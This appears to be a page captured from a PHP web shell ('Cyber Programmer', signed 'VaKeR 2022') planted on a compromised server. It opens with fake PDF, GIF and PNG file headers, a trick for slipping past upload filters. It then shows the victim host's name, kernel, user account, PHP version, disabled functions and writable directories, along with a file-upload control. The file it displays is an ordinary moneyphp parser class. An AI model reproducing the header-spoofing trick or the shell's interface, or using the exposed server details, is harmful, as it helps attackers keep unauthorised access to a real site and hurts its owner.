%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/moneyphp/money/src/Parser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/moneyphp/money/src/Parser/AggregateMoneyParser.php
<?php

declare(strict_types=1);

namespace Money\Parser;

use Money\Currency;
use Money\Exception;
use Money\Money;
use Money\MoneyParser;

use function sprintf;

/**
 * Parses a string into a Money object using other parsers.
 */
final class AggregateMoneyParser implements MoneyParser
{
    /**
     * @var MoneyParser[]
     * @psalm-var non-empty-array<MoneyParser>
     */
    private array $parsers;

    /**
     * @param MoneyParser[] $parsers
     * @psalm-param non-empty-array<MoneyParser> $parsers
     */
    public function __construct(array $parsers)
    {
        $this->parsers = $parsers;
    }

    public function parse(string $money, Currency|null $fallbackCurrency = null): Money
    {
        foreach ($this->parsers as $parser) {
            try {
                return $parser->parse($money, $fallbackCurrency);
            } catch (Exception\ParserException $e) {
            }
        }

        throw new Exception\ParserException(sprintf('Unable to parse %s', $money));
    }
}

VaKeR 2022